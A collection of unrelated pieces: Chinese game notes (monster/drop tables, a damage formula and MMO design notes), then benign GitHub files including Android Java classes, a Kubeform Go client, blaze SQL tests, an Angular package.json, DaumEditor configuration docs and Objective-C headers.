大雁塔3层 18 骷髅怪、羊头怪、蛤蟆精、狐狸精、花妖 (20级防具,20级武器,30级武器,30级防具,宠物口粮,天不老,血色茶花,仙狐涎,麝香)
大雁塔4层 22 骷髅怪、羊头怪、蛤蟆精、狐狸精、花妖 (20级防具,20级武器,30级武器,30级防具,宠物口粮,天不老,血色茶花,仙狐涎,麝香)
大雁塔5层 26 骷髅怪、羊头怪、蛤蟆精、狐狸精、花妖 (20级防具,20级武器,30级武器,30级防具,宠物口粮,天不老,血色茶花,仙狐涎,麝香)
大雁塔6层 30 羊头怪、蛤蟆精、狐狸精、大蝙蝠、花妖 (30级防具,40级武器,1级暗器,宠物口粮)
大唐国境 20 赌徒、强盗、山贼 (10级防具,20级武器,宠物口粮,部分1级药品)
大唐境外 30 老虎、黑熊、花妖 (20级防具,20级武器,宠物口粮,白露为霜)
魔王寨 30 牛妖、蛤蟆精 (40级防具,40级武器,宠物口粮,4级暗器)
普陀山 30 黑熊精 (40级武器,宠物口粮,3级暗器,熊胆,餐风饮露)
盘丝岭 40 蜘蛛精、狐狸精、花妖 (50级武器,2级暗器,,天不老,血色茶花,仙狐涎,麝香)
狮驼岭 50 雷鸟人、蝴蝶仙子 (40级防具,40级武器,高级宠物口粮,5级暗器)
西牛贺洲 30 小龙女、狼 (30级防具,30级武器,鹿茸,天龙水)
花果山 30 小龙女、老虎、黑熊 (鹿茸,天龙水,熊胆,餐风饮露)
海底迷宫一 30 虾兵 (鹿茸,天龙水,血珊瑚,高级宠物口粮)
海底迷宫二 30 蟹将 (鹿茸,天龙水,血珊瑚)
海底迷宫三 30 龟丞相 (鹿茸,天龙水,血珊瑚)
海底迷宫四 30 蟹将,龟丞相 (50级武器,鹿茸,天龙水,血珊瑚)
月宫 40 兔子怪 (高级宠物口粮)
地府迷宫一 40 野鬼、僵尸 (高级宠物口粮,地狱灵芝,40级武器)
地府迷宫二 40 野鬼、骷髅怪 (高级宠物口粮,地狱灵芝,40级防具)
地府迷宫三 40 僵尸、牛头、马面 (高级宠物口粮,50级武器,地狱灵芝)
地府迷宫四 40 僵尸、骷髅怪 (高级宠物口粮,50级防具,地狱灵芝)
北俱芦洲 40 古代瑞兽、白熊、天将 (60级防具,硫磺草,高级宠物口粮)
龙窟一层 60 古代瑞兽、黑山老妖 (60级防具,硫磺草,高级宠物口粮)
龙窟二层 70 白熊、黑山老妖 (60级防具,硫磺草)
龙窟三层 70 天兵、风伯 (60级防具,硫磺草)
龙窟四层 70 蛟龙、风伯 (70级防具,龙之心屑,高级宠物口粮)
龙窟五层 70 地狱战神、蛟龙 (70级防具,龙之心屑,8级暗器)
龙窟六层 80 雨师、巡游天神 (70级防具,龙之心屑,月星子,9级暗器)
龙窟七层 90 地狱战神、巡游天神、星灵仙子、蛟龙、阴阳伞 (70级防具,70级武器,龙之心屑,月星子)
凤巢一层 60 黑山老妖、天将 (60级武器,孔雀红)
凤巢二层 60 天兵、雷鸟人 (60级武器,孔雀红,7级暗器)
凤巢三层 70 地狱战神、天兵 (60级武器,孔雀红)
凤巢四层 70 凤凰、天将 (70级武器,孔雀红,高级宠物口粮)
凤巢五层 80 凤凰、天将 (70级武器,孔雀红,高级宠物口粮)
凤巢六层 85 风伯、芙蓉仙子 (70级武器,凤凰尾,火凤之睛,高级宠物口粮,10级暗器)凤巢七层
凤巢七层 90 风伯、凤凰、如意仙子、芙蓉仙子、阴阳伞 (70级武器,80级武器,凤凰尾,火凤之睛)
麒麟山 90 鼠先锋、百足将军、野猪精 (70-80级武器,70-80级装备,各种2药)
无名鬼城 100 幽灵、吸血鬼、鬼将、阴阳伞 (各种2级药,80装备)
女娲神迹 100 律法女娲、灵符女娲、净瓶女娲、阴阳伞 (10-100暗器,80武器)
小西天 120 夜罗刹、炎魔神、噬天虎、阴阳伞
小雷音寺 120 大力金刚、雾中仙、灵鹤、阴阳伞
蓬莱仙岛 130 红萼仙子、踏云兽、龙龟、阴阳伞
墨家禁地 140 机关人、机关鸟、机关兽、连弩车、巴蛇、阴阳伞
【女儿村】暗器伤害效果的计算公式 暗器技巧:Lv;暗器命中:d;秒敌人数:n;则,暗器伤害效果为:A={d+50+[Lv+(Lv*Lv/150)]*(11-n)/10};(对人)B=(A*1.3);(对怪)注:1. 以上公式中的:( )、[ ]、{ }不但具有括号的效果,均还具有取整的意思。 例:( 2.563)=2,[3.1 ]=3,{9.987 }=9.2. 没有高级别女儿村ID,因此对女儿秒6到秒7是否降伤害不确定, 希望高级别女儿给予答复,不胜感激! 答:根据5楼水灵幻MM的答复,暗器秒六到秒七是不会降伤害的!谢谢提供!3. 附带女儿村暗器伤害表(秒人),暗器技巧:120.4.附带水灵幻提供的不同等级暗器技巧的伤害加成。(暗器命中:100)
---2019年11月30日 17:23:31
actor属性同步
1. 同步范围 只同步给自己 同步给他人,同步给他人的范围,AOI范围内,还是全服都同步
2. 同步频率 按帧同步,固定间隔同步
3. 同步/不同步
TODOLIST:
2019年12月10日:
1. 动画方面
2. 数据持久化方面
3. 插件方面
4. 模块化方面
5. 同步方式
6. PROTOCOL
skill:
skill 对象用来做表现
战斗指令可以等价为skill队列
攻击 施法 特技 道具 捕捉 召唤 召还 逃跑 防御 保护
攻击:跑去 攻击 跑回
施法+特技+道具: 施法
捕捉:宠物跑去,召唤兽回来
召唤/招还:替换自己宠物
逃跑:自己逃跑
防御:加一层防御buff,被攻击的时候播放动画
攻击:普通攻击 可能有暴击 吸血(判断是否有被动技能) 连击(判断是否有被动技能) 反击 反震
施法:
--聊天背景框 wzife 39D3BD99
1. 攻击性技能
逻辑 :
Atk HP+
Def HP-
combo攻击 Def--
群体攻击 Def_HP1 - Def_HP2-
Def倒地(死亡),Def被击飞
被保护Def_HP1- Def_HP2-
表现 :
单体攻击 群体攻击
2. 辅助性技能
逻辑:Caster HP+
Caster1_HP+ Caster2_HP+
防御 攻击 增加
法防 灵力增加 增加BUFF
抗封
解封
复活
表现:
3. 控制技能
逻辑:无法物理攻击 无法法术攻击 催眠 无法使用特技
buff设计
控制技能
辅助技能
持续回合
buff效果 加减属性 加减hp
每回合开始的时候进行buff结算 buff是否被移除 buff效果显示
回合中会有buff增加 buff减去的事件
比方说封印和解封
所以skill里的effect会有是否成功的结果 施法成功 封印成功 解封成功 等
客户端登陆流程
1. 连接服务器
2. 登陆账号
3. 登陆角色
4. 加载角色场景
<img src="https://github.com/oceancx/SimpleEngine/blob/master/imgui.gif" width="50%" height="50%">
Actor类型划分与数据存储
服务器加载的时候 加载所有要同步的actor信息
召唤兽 只同步给召唤兽的玩家 客户端可以增加召唤兽 减少召唤兽
场景NPC 场景NPC只同步玩家场景的 客户端可以跟npc对话
玩家 玩家同步给所有人
战斗NPC 同步给当前battle里的玩家
暗雷战斗:
战斗创建的同时,创建暗雷战斗NPC 可以是玩家类型也可以是召唤兽类型,创建完成后,同步到客户端,客户端创建战场里的玩家
暗雷战斗可以有战斗模板,每次根据触发战斗玩家的水平,动态创建不同种类的actor
如果是PVE 敌方Actor就动态创建
如果是PVP 双方就都是玩家
客户端: 玩家登陆
服务器: 同步玩家登陆 同步其他玩家
客户端: 请求同步本玩家召唤兽信息
服务器: 发送玩家召唤兽信息
战斗:
PVE 同步动态创建信息 同步其他玩家信息
###战斗中增加ACTOR
首先判断战斗类型,如果战斗类型是PVE 那么敌方增加的actor类型只能是NPC类型,己方增加的是actor类型
PVE战斗 战场负责敌方actor的动态创建和删除,己方则玩家参战
如果是PVP 敌我双方增加的都是玩家类型
玩家可以增加召唤兽 替换召唤兽 召回召唤兽
|
{
"pile_set_name": "Github"
}
|
package com.android.commonapp.presenter;
import com.android.commonapp.contact.BoutiqueContact;
import com.android.commonapp.contact.KnowledgePathContact;
import com.android.commonapp.interfaces.BasePresenterImpl;
import com.android.commonapp.models.BoutiqueModel;
import com.android.commonapp.models.CommonCallModel;
import com.android.commonapp.models.KnowledgePathModel;
import com.android.commonapp.network.CommonCallback;
import com.android.commonapp.network.RetrofitFactory;
import java.util.List;
/**
* @date: 2017/11/23.
* @author: CHEN
* @describe: 知识课件
*/
public class BoutiquePresenter extends BasePresenterImpl<BoutiqueContact.view> implements BoutiqueContact.presenter {
public BoutiquePresenter(BoutiqueContact.view view) {
super(view);
}
@Override
public void getKnowledgeBoutique(String id,String page, String size) {
//参数1 加载说明 参数2 是否需要触屏消失 参数3 是否需要显示进度条
view.showLoadingDialog("数据传输中,请稍后",false,false);
RetrofitFactory.getInstance().api().knowledgeboutique(id,page, size)
.enqueue(new CommonCallback<List<BoutiqueModel>>() {
@Override
protected void onSuccess(CommonCallModel<List<BoutiqueModel>> t) throws Exception {
view.dismissLoadingDialog();
if (t.getData() != null) {
view.success(t.getData());
}
}
@Override
protected void onFailure(Throwable e, boolean isNetWorkError, String msg) throws Exception {
view.dismissLoadingDialog();
view.failure(e, isNetWorkError, msg);
}
});
}
}
|
{
"pile_set_name": "Github"
}
|
package com.gc.materialdesign.widgets;
import android.content.Context;
import android.os.Bundle;
import android.view.MotionEvent;
import android.view.View;
import android.view.View.OnTouchListener;
import android.view.Window;
import android.view.animation.Animation;
import android.view.animation.Animation.AnimationListener;
import android.view.animation.AnimationUtils;
import android.widget.RelativeLayout;
import android.widget.TextView;
import com.gc.materialdesign.R;
import com.gc.materialdesign.views.ButtonFlat;
import com.gc.materialdesign.views.ProgressBarCircularIndeterminate;
public class ProgressDialog extends android.app.Dialog{
Context context;
View view;
View backView;
String title;
TextView titleTextView;
int progressColor = -1;
public ProgressDialog(Context context,String title) {
super(context, android.R.style.Theme_Translucent);
this.title = title;
this.context = context;
}
public ProgressDialog(Context context,String title, int progressColor) {
super(context, android.R.style.Theme_Translucent);
this.title = title;
this.progressColor = progressColor;
this.context = context;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
requestWindowFeature(Window.FEATURE_NO_TITLE);
super.onCreate(savedInstanceState);
setContentView(R.layout.progress_dialog);
view = (RelativeLayout)findViewById(R.id.contentDialog);
backView = (RelativeLayout)findViewById(R.id.dialog_rootView);
backView.setOnTouchListener(new OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
if (event.getX() < view.getLeft()
|| event.getX() >view.getRight()
|| event.getY() > view.getBottom()
|| event.getY() < view.getTop()) {
dismiss();
}
return false;
}
});
this.titleTextView = (TextView) findViewById(R.id.title);
setTitle(title);
if(progressColor != -1){
ProgressBarCircularIndeterminate progressBarCircularIndeterminate = (ProgressBarCircularIndeterminate) findViewById(R.id.progressBarCircularIndetermininate);
progressBarCircularIndeterminate.setBackgroundColor(progressColor);
}
}
@Override
public void show() {
// TODO 自动生成的方法存根
super.show();
// set dialog enter animations
view.startAnimation(AnimationUtils.loadAnimation(context, R.anim.dialog_main_show_amination));
backView.startAnimation(AnimationUtils.loadAnimation(context, R.anim.dialog_root_show_amin));
}
// GETERS & SETTERS
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
if(title == null)
titleTextView.setVisibility(View.GONE);
else{
titleTextView.setVisibility(View.VISIBLE);
titleTextView.setText(title);
}
}
public TextView getTitleTextView() {
return titleTextView;
}
public void setTitleTextView(TextView titleTextView) {
this.titleTextView = titleTextView;
}
@Override
public void dismiss() {
Animation anim = AnimationUtils.loadAnimation(context, R.anim.dialog_main_hide_amination);
anim.setAnimationListener(new AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
}
@Override
public void onAnimationRepeat(Animation animation) {
}
@Override
public void onAnimationEnd(Animation animation) {
view.post(new Runnable() {
@Override
public void run() {
ProgressDialog.super.dismiss();
}
});
}
});
Animation backAnim = AnimationUtils.loadAnimation(context, R.anim.dialog_root_hide_amin);
view.startAnimation(anim);
backView.startAnimation(backAnim);
}
}
|
{
"pile_set_name": "Github"
}
|
/*
Copyright The Kubeform Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package v1alpha1
import (
"context"
"time"
v1alpha1 "kubeform.dev/kubeform/apis/google/v1alpha1"
scheme "kubeform.dev/kubeform/client/clientset/versioned/scheme"
v1 "k8s.io/apimachinery/pkg/apis/meta/v1"
types "k8s.io/apimachinery/pkg/types"
watch "k8s.io/apimachinery/pkg/watch"
rest "k8s.io/client-go/rest"
)
// PubsubTopicIamMembersGetter has a method to return a PubsubTopicIamMemberInterface.
// A group's client should implement this interface.
type PubsubTopicIamMembersGetter interface {
PubsubTopicIamMembers(namespace string) PubsubTopicIamMemberInterface
}
// PubsubTopicIamMemberInterface has methods to work with PubsubTopicIamMember resources.
type PubsubTopicIamMemberInterface interface {
Create(ctx context.Context, pubsubTopicIamMember *v1alpha1.PubsubTopicIamMember, opts v1.CreateOptions) (*v1alpha1.PubsubTopicIamMember, error)
Update(ctx context.Context, pubsubTopicIamMember *v1alpha1.PubsubTopicIamMember, opts v1.UpdateOptions) (*v1alpha1.PubsubTopicIamMember, error)
UpdateStatus(ctx context.Context, pubsubTopicIamMember *v1alpha1.PubsubTopicIamMember, opts v1.UpdateOptions) (*v1alpha1.PubsubTopicIamMember, error)
Delete(ctx context.Context, name string, opts v1.DeleteOptions) error
DeleteCollection(ctx context.Context, opts v1.DeleteOptions, listOpts v1.ListOptions) error
Get(ctx context.Context, name string, opts v1.GetOptions) (*v1alpha1.PubsubTopicIamMember, error)
List(ctx context.Context, opts v1.ListOptions) (*v1alpha1.PubsubTopicIamMemberList, error)
Watch(ctx context.Context, opts v1.ListOptions) (watch.Interface, error)
Patch(ctx context.Context, name string, pt types.PatchType, data []byte, opts v1.PatchOptions, subresources ...string) (result *v1alpha1.PubsubTopicIamMember, err error)
PubsubTopicIamMemberExpansion
}
// pubsubTopicIamMembers implements PubsubTopicIamMemberInterface
type pubsubTopicIamMembers struct {
client rest.Interface
ns string
}
// newPubsubTopicIamMembers returns a PubsubTopicIamMembers
func newPubsubTopicIamMembers(c *GoogleV1alpha1Client, namespace string) *pubsubTopicIamMembers {
return &pubsubTopicIamMembers{
client: c.RESTClient(),
ns: namespace,
}
}
// Get takes name of the pubsubTopicIamMember, and returns the corresponding pubsubTopicIamMember object, and an error if there is any.
func (c *pubsubTopicIamMembers) Get(ctx context.Context, name string, options v1.GetOptions) (result *v1alpha1.PubsubTopicIamMember, err error) {
result = &v1alpha1.PubsubTopicIamMember{}
err = c.client.Get().
Namespace(c.ns).
Resource("pubsubtopiciammembers").
Name(name).
VersionedParams(&options, scheme.ParameterCodec).
Do(ctx).
Into(result)
return
}
// List takes label and field selectors, and returns the list of PubsubTopicIamMembers that match those selectors.
func (c *pubsubTopicIamMembers) List(ctx context.Context, opts v1.ListOptions) (result *v1alpha1.PubsubTopicIamMemberList, err error) {
var timeout time.Duration
if opts.TimeoutSeconds != nil {
timeout = time.Duration(*opts.TimeoutSeconds) * time.Second
}
result = &v1alpha1.PubsubTopicIamMemberList{}
err = c.client.Get().
Namespace(c.ns).
Resource("pubsubtopiciammembers").
VersionedParams(&opts, scheme.ParameterCodec).
Timeout(timeout).
Do(ctx).
Into(result)
return
}
// Watch returns a watch.Interface that watches the requested pubsubTopicIamMembers.
func (c *pubsubTopicIamMembers) Watch(ctx context.Context, opts v1.ListOptions) (watch.Interface, error) {
var timeout time.Duration
if opts.TimeoutSeconds != nil {
timeout = time.Duration(*opts.TimeoutSeconds) * time.Second
}
opts.Watch = true
return c.client.Get().
Namespace(c.ns).
Resource("pubsubtopiciammembers").
VersionedParams(&opts, scheme.ParameterCodec).
Timeout(timeout).
Watch(ctx)
}
// Create takes the representation of a pubsubTopicIamMember and creates it. Returns the server's representation of the pubsubTopicIamMember, and an error, if there is any.
func (c *pubsubTopicIamMembers) Create(ctx context.Context, pubsubTopicIamMember *v1alpha1.PubsubTopicIamMember, opts v1.CreateOptions) (result *v1alpha1.PubsubTopicIamMember, err error) {
result = &v1alpha1.PubsubTopicIamMember{}
err = c.client.Post().
Namespace(c.ns).
Resource("pubsubtopiciammembers").
VersionedParams(&opts, scheme.ParameterCodec).
Body(pubsubTopicIamMember).
Do(ctx).
Into(result)
return
}
// Update takes the representation of a pubsubTopicIamMember and updates it. Returns the server's representation of the pubsubTopicIamMember, and an error, if there is any.
func (c *pubsubTopicIamMembers) Update(ctx context.Context, pubsubTopicIamMember *v1alpha1.PubsubTopicIamMember, opts v1.UpdateOptions) (result *v1alpha1.PubsubTopicIamMember, err error) {
result = &v1alpha1.PubsubTopicIamMember{}
err = c.client.Put().
Namespace(c.ns).
Resource("pubsubtopiciammembers").
Name(pubsubTopicIamMember.Name).
VersionedParams(&opts, scheme.ParameterCodec).
Body(pubsubTopicIamMember).
Do(ctx).
Into(result)
return
}
// UpdateStatus was generated because the type contains a Status member.
// Add a +genclient:noStatus comment above the type to avoid generating UpdateStatus().
func (c *pubsubTopicIamMembers) UpdateStatus(ctx context.Context, pubsubTopicIamMember *v1alpha1.PubsubTopicIamMember, opts v1.UpdateOptions) (result *v1alpha1.PubsubTopicIamMember, err error) {
result = &v1alpha1.PubsubTopicIamMember{}
err = c.client.Put().
Namespace(c.ns).
Resource("pubsubtopiciammembers").
Name(pubsubTopicIamMember.Name).
SubResource("status").
VersionedParams(&opts, scheme.ParameterCodec).
Body(pubsubTopicIamMember).
Do(ctx).
Into(result)
return
}
// Delete takes name of the pubsubTopicIamMember and deletes it. Returns an error if one occurs.
func (c *pubsubTopicIamMembers) Delete(ctx context.Context, name string, opts v1.DeleteOptions) error {
return c.client.Delete().
Namespace(c.ns).
Resource("pubsubtopiciammembers").
Name(name).
Body(&opts).
Do(ctx).
Error()
}
// DeleteCollection deletes a collection of objects.
func (c *pubsubTopicIamMembers) DeleteCollection(ctx context.Context, opts v1.DeleteOptions, listOpts v1.ListOptions) error {
var timeout time.Duration
if listOpts.TimeoutSeconds != nil {
timeout = time.Duration(*listOpts.TimeoutSeconds) * time.Second
}
return c.client.Delete().
Namespace(c.ns).
Resource("pubsubtopiciammembers").
VersionedParams(&listOpts, scheme.ParameterCodec).
Timeout(timeout).
Body(&opts).
Do(ctx).
Error()
}
// Patch applies the patch and returns the patched pubsubTopicIamMember.
func (c *pubsubTopicIamMembers) Patch(ctx context.Context, name string, pt types.PatchType, data []byte, opts v1.PatchOptions, subresources ...string) (result *v1alpha1.PubsubTopicIamMember, err error) {
result = &v1alpha1.PubsubTopicIamMember{}
err = c.client.Patch(pt).
Namespace(c.ns).
Resource("pubsubtopiciammembers").
Name(name).
SubResource(subresources...).
VersionedParams(&opts, scheme.ParameterCodec).
Body(data).
Do(ctx).
Into(result)
return
}
|
{
"pile_set_name": "Github"
}
|
import pytest
pytest.importorskip('sqlalchemy')
from datashape import dshape
from functools import partial
from toolz import first
from sqlalchemy.exc import OperationalError
from odo import into, drop
from blaze import data as bz_data, join, symbol
from blaze import create_index
@pytest.fixture
def sql():
data = [(1, 2), (10, 20), (100, 200)]
sql = bz_data(
'sqlite:///:memory:::foo',
dshape='var * {x: int, y: int}',
)
into(sql, data)
return sql
def test_column(sql):
t = bz_data(sql)
r = list(t['x'])
assert r == [1, 10, 100]
assert list(t[['x']]) == [(1,), (10,), (100,)]
assert int(t.count()) == 3
def test_drop(sql):
sql = sql.data
assert sql.exists(sql.bind)
drop(sql)
assert not sql.exists(sql.bind)
@pytest.mark.parametrize('cols', (
'x', ['x'], ['y'], ['x', 'y'], ('x',), ('y',), ('x', 'y'),
))
def test_create_index(sql, cols):
create_index(sql, cols, name='idx')
with pytest.raises(OperationalError):
create_index(sql, cols, name='idx')
def test_create_index_fails(sql):
with pytest.raises(KeyError):
create_index(sql, 'z', name='zidx')
with pytest.raises(ValueError):
create_index(sql, 'x')
with pytest.raises(ValueError):
create_index(sql, 'z')
def test_create_index_unique(sql):
create_index(sql, 'y', name='y_idx', unique=True)
assert len(sql.data.indexes) == 1
idx = first(sql.data.indexes)
assert idx.unique
assert idx.columns.y == sql.data.c.y
def test_composite_index(sql):
create_index(sql, ['x', 'y'], name='idx_xy')
with pytest.raises(OperationalError):
create_index(sql, ['x', 'y'], name='idx_xy')
def test_composite_index_fails(sql):
with pytest.raises(KeyError):
create_index(sql, ['z', 'bizz'], name='idx_name')
def test_composite_index_fails_with_existing_columns(sql):
with pytest.raises(KeyError):
create_index(sql, ['x', 'z', 'bizz'], name='idx_name')
@pytest.mark.parametrize('cols', ('x', ['x', 'y']))
def test_ignore_existing(sql, cols):
create_call = partial(
create_index,
sql,
cols,
name='idx_name',
)
create_call()
with pytest.raises(OperationalError):
create_call(ignore_existing=False)
# Shouldn't error
create_call(ignore_existing=True)
def test_join_foreign_key():
a = symbol('a', "var * {timestamp: string, pkid: map[int32, {pkid: int32, label: ?string}]}")
b = symbol('a', "var * {pkid: int32, label: ?string}")
assert join(a, b, 'pkid', 'pkid').dshape == dshape("var * {pkid: int32, timestamp: string, label: ?string}")
|
{
"pile_set_name": "Github"
}
|
/*
* This file is part of the SDWebImage package.
* (c) Olivier Poitrey <rs@dailymotion.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
#import <Foundation/Foundation.h>
#import "SDImageCacheDefine.h"
/// Policy for cache operation
typedef NS_ENUM(NSUInteger, SDImageCachesManagerOperationPolicy) {
SDImageCachesManagerOperationPolicySerial, // process all caches serially (from the highest priority to the lowest priority cache by order)
SDImageCachesManagerOperationPolicyConcurrent, // process all caches concurrently
SDImageCachesManagerOperationPolicyHighestOnly, // process the highest priority cache only
SDImageCachesManagerOperationPolicyLowestOnly // process the lowest priority cache only
};
/**
A caches manager to manage multiple caches.
*/
@interface SDImageCachesManager : NSObject <SDImageCache>
/**
Returns the global shared caches manager instance. By default we will set [`SDImageCache.sharedImageCache`] into the caches array.
*/
@property (nonatomic, class, readonly, nonnull) SDImageCachesManager *sharedManager;
// These are op policy for cache manager.
/**
Operation policy for query op.
Defaults to `Serial`, means query all caches serially (one completion called then next begin) until one cache query success (`image` != nil).
*/
@property (nonatomic, assign) SDImageCachesManagerOperationPolicy queryOperationPolicy;
/**
Operation policy for store op.
Defaults to `HighestOnly`, means store to the highest priority cache only.
*/
@property (nonatomic, assign) SDImageCachesManagerOperationPolicy storeOperationPolicy;
/**
Operation policy for remove op.
Defaults to `Concurrent`, means remove all caches concurrently.
*/
@property (nonatomic, assign) SDImageCachesManagerOperationPolicy removeOperationPolicy;
/**
Operation policy for contains op.
Defaults to `Serial`, means check all caches serially (one completion called then next begin) until one cache check success (`containsCacheType` != None).
*/
@property (nonatomic, assign) SDImageCachesManagerOperationPolicy containsOperationPolicy;
/**
Operation policy for clear op.
Defaults to `Concurrent`, means clear all caches concurrently.
*/
@property (nonatomic, assign) SDImageCachesManagerOperationPolicy clearOperationPolicy;
/**
All caches in caches manager. The caches array is a priority queue, which means the later added cache will have the highest priority
*/
@property (nonatomic, copy, nullable) NSArray<id<SDImageCache>> *caches;
/**
Add a new cache to the end of caches array. Which has the highest priority.
@param cache cache
*/
- (void)addCache:(nonnull id<SDImageCache>)cache;
/**
Remove a cache in the caches array.
@param cache cache
*/
- (void)removeCache:(nonnull id<SDImageCache>)cache;
@end
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<android.support.v7.widget.CardView xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:card_view="http://schemas.android.com/tools"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:id="@+id/card_view"
android:layout_gravity="center"
app:cardBackgroundColor="?attr/cardViewColor"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="@dimen/card_margin"
android:layout_marginLeft="@dimen/card_margin"
android:layout_marginRight="@dimen/card_margin"
card_view:cardCornerRadius="4dp"
card_view:cardElevation="8dp"
card_view:contentPadding="10dp"
card_view:cardPreventCornerOverlap="true">
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:padding="10dp"
android:orientation="vertical">
<TextView
android:id="@+id/news_title"
android:textSize="20dp"
android:textColor="?attr/textColor"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />
<TextView
android:id="@+id/news_date"
android:textColor="?attr/textColor"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />
</LinearLayout>
</android.support.v7.widget.CardView>
|
{
"pile_set_name": "Github"
}
|
{
"name": "more-router-samples",
"version": "0.0.0",
"license": "MIT",
"scripts": {
"ng": "ng",
"start": "ng serve",
"build": "ng build",
"test": "ng test",
"lint": "ng lint",
"e2e": "ng e2e"
},
"private": true,
"dependencies": {
"@angular/animations": "^9.1.9",
"@angular/cdk": "^9.2.4",
"@angular/common": "^9.1.9",
"@angular/compiler": "^9.1.9",
"@angular/core": "^9.1.9",
"@angular/forms": "^9.1.9",
"@angular/material": "^9.2.4",
"@angular/platform-browser": "^9.1.9",
"@angular/platform-browser-dynamic": "^9.1.9",
"@angular/router": "^9.1.9",
"core-js": "^3.6.5",
"es-abstract": "^1.17.5",
"rxjs": "6.5.5",
"tslib": "^1.10.0",
"zone.js": "~0.10.2"
},
"devDependencies": {
"@angular-devkit/build-angular": "~0.901.7",
"@angular/cli": "^9.1.7",
"@angular/compiler-cli": "^9.1.9",
"@angular/language-service": "^9.1.9",
"@types/jasmine": "~3.5.10",
"@types/jasminewd2": "~2.0.8",
"@types/node": "^12.11.1",
"codelyzer": "^5.1.2",
"jasmine-core": "~3.5.0",
"jasmine-spec-reporter": "~5.0.2",
"karma": "~5.0.9",
"karma-chrome-launcher": "~3.1.0",
"karma-cli": "~2.0.0",
"karma-coverage-istanbul-reporter": "^3.0.3",
"karma-jasmine": "~3.3.0",
"karma-jasmine-html-reporter": "^1.5.4",
"protractor": "~7.0.0",
"ts-node": "~8.10.2",
"tslint": "~6.1.2",
"typescript": "^3.8.2"
}
}
|
{
"pile_set_name": "Github"
}
|
## Configuration
### Configuration Object
The configuration object is just plain old javascript object to customize your editor instance.
You can set the values on your own before initializing a editor, and then pass it to the editor constructor.
Usage:
var config = {
// set the values in javascript object literal
txHost: "http://your.domain.com",
txPath: "/editor/path",
wrapper: "wrapper_element_id",
form: "form_name",
.......
};
EditorJSLoader.ready(function(Editor) {
var editor = new Editor(config);
});
#### Configuration Builder
_TODO introduce `EditorConfigBuilder`_
- - -
### Required Fields
#### txHost
* __Required__
* Key: `config.txHost`
* Type: `string`
#### txPath
* __Required__
* Key: `config.txPath`
* Type: `string`
#### wrapper
* __Required__
* Key: `config.wrapper`
* Type: `string`
The id of an element which contains DaumEditor.
#### form
* __Required__
* Key: `config.form`
* Type: `string`
The name of a form which is to be sumbitted. Editor.save() will submit this form.
- - -
### Canvas
Configure WYSIWYG area
#### showGuideArea
* Key: `config.canvas.showGuideArea`
* Type: `boolean`
* Defaults: `true`
Show or hide content width guide on canvas
#### readonly
* Key: `config.canvas.readonly`
* Type: `boolean`
* Defaults: `false`
Disable editing canvas
#### styles
* Key: `config.canvas.styles`
* Type: `object`
* Properties:
* `color`: Font color
* `fontFamily`
* `fontSize`
* `backgroundColor`
* `lineHeight`
* `padding`
* Defaults: [See trex/canvas.js](https://github.com/daumcorp/DaumEditor/blob/development/daumeditor/js/trex/canvas.js#L17)
Set styles of canvas area
{
canvas: {
styles: {
color: "#123456",
fontFamily: "Verdana",
fontSize: "10pt",
backgroundColor: "#fff",
lineHeight: "1.5",
padding: "8px"
},
showGuideArea: false
}
}
- - -
### Size
#### contentWidth
* Key: `config.size.contentWidth`
* Type: `integer`
* Default: auto-computed value
- - -
### Resizer
#### minHeight
* Key: `config.resizer.minHeight`
* Type: `integer`
* Default: `200`
- - -
### Events
#### preventUnload
* Key: `config.events.preventUnload`
* Type: `booloean`
* Default: `true`
- - -
### Sidebar
#### Attachbox
##### show
* Key: `config.sidebar.attachbox.show`
* Type: `boolean`
* Defaults: `false`
Set the Attachbox's Visibility
{
sidebar: {
attachbox: {
show: true
}
}
}
#### Capacity
##### maximum
* Key: `config.sidebar.capacity.maximum`
* Type: `Number`
* Defaults: `3145728` (3 MB)
Set total maximum bytes of all attachments
{
sidebar: {
capacity: {
maximum: 10 * 1024 * 1024 // 10 MB
}
}
}
- - -
### Misc.
#### initializedId
* Key: `config.initializedId`
* Type: `string`
* Defaults: empty string
#### txIconPath
* Key: `config.txIconPath`
* Type: `string`
* Defaults: `#txHost#txPath/images/icon/editor/`
Base path of the editor image (e.g. toolbar icon) directory.
URL for the `daumeditor/images/icon/` directory
#### txDecoPath
* Key: `config.txDecoPath`
* Type: `string`
* Defaults: `#txHost#txPath/images/deco/contents/`
Base path of the editor contents image (e.g. emoticon) directory.
URL for the `daumeditor/images/deco/` directory
{
txIconPath: "http://yourcdnserver/daumeditor/images/icon/editor/",
txDecoPath: "http://yourcdnserver/daumeditor/images/deco/contents/"
}
|
{
"pile_set_name": "Github"
}
|
/* Generated by RuntimeBrowser
Image: /System/Library/PrivateFrameworks/StoreBookkeeperClient.framework/StoreBookkeeperClient
*/
@interface SBCPlaybackPositionEntity : NSObject <NSCopying, NSSecureCoding> {
double _bookmarkTime;
double _bookmarkTimestamp;
long long _foreignDatabaseEntityID;
bool _hasBeenPlayed;
SBCPlaybackPositionDomain * _playbackPositionDomain;
NSString * _ubiquitousIdentifier;
unsigned long long _userPlayCount;
}
@property (nonatomic) double bookmarkTime;
@property (nonatomic) double bookmarkTimestamp;
@property (nonatomic, readonly) long long foreignDatabaseEntityID;
@property (nonatomic) bool hasBeenPlayed;
@property (nonatomic, readonly) SBCPlaybackPositionDomain *playbackPositionDomain;
@property (nonatomic, readonly) NSString *ubiquitousIdentifier;
